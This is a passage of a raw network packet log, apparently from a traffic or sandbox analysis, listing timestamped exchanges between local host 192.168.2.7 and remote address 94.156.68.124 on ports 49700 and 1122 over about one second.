Sep 25, 2024 01:11:11.711016893 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711016893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711049080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711709976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711725950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711740017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711751938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711766958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711769104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711781979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711793900 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711798906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711816072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711818933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711829901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711841106 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711846113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711859941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711869001 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711875916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711890936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711899042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.711908102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.711932898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712630987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712647915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712661982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712676048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712690115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712698936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712704897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712721109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712723017 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712738991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712752104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712763071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712768078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712783098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712791920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712799072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712812901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712826967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712836981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712842941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.712862968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.712878942 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.713428020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.713444948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.713466883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.713483095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.713499069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.713527918 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.780997038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781027079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781039953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781090021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781106949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781124115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781157970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781188011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781203032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781217098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781245947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781258106 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781332970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781434059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781447887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781464100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781475067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781478882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781495094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781501055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781533957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781735897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781752110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781768084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781780005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781796932 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781822920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.781954050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781977892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.781994104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.782011032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.782015085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.782051086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.782150984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.782166958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.784785032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794254065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794275045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794305086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794328928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794329882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794346094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794382095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794419050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794506073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794523001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794545889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794558048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794646978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794663906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794680119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794694901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794718981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794740915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794892073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794907093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794923067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794935942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.794950008 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.794986010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795088053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795103073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795118093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795134068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795152903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795175076 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795312881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795329094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795342922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795357943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795368910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795406103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795583010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795604944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795619965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795634985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795645952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795650005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795665979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795669079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795685053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795701027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795715094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.795722961 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.795744896 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796047926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796062946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796088934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796101093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796104908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796120882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796122074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796135902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796152115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796168089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796174049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796185017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796199083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796200991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796216965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796222925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796236038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796263933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796643972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796660900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796678066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796686888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796691895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796716928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796900988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796916962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796938896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796953917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796956062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796969891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.796981096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.796984911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797002077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797015905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797025919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797032118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797046900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797053099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797063112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797075987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797079086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797099113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797689915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797708988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797724962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797734976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797739029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797755003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797769070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797770023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797781944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797792912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797797918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797813892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797817945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797828913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797844887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797859907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797868013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797877073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797888994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797889948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797904968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797909021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797923088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797938108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797944069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.797955990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.797991991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798659086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798677921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798691988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798707962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798722982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798724890 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798733950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798738956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798753023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798762083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798768997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798785925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798800945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798804998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798816919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798825979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798832893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798846960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798850060 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798863888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798877001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798888922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798893929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798902988 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.798911095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798927069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.798945904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.799259901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799302101 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.799356937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799372911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799402952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799406052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.799417973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799433947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799449921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.799455881 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.799485922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.867847919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.867865086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.867889881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.867922068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.867966890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.867984056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868007898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868104935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868124008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868139982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868165970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868182898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868264914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868283033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868302107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868387938 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868470907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868488073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868504047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868516922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868520021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868536949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868562937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868571997 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868756056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868771076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868788004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868808031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868822098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868834972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868838072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.868865967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.868877888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.869014978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.869033098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.869071007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881130934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881150007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881165028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881206036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881232023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881248951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881264925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881289959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881325006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881400108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881417990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881433964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881455898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881583929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881599903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881639957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881710052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881726980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881742954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881758928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881767035 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881778002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881786108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.881820917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.881992102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882009029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882025003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882040977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882050991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882057905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882076979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882258892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882280111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882303953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882410049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882435083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882474899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882503986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882520914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882536888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882554054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882560015 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882571936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.882577896 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882611036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.882960081 CEST	1122	49700	94.156.68.124	192.168.2.7
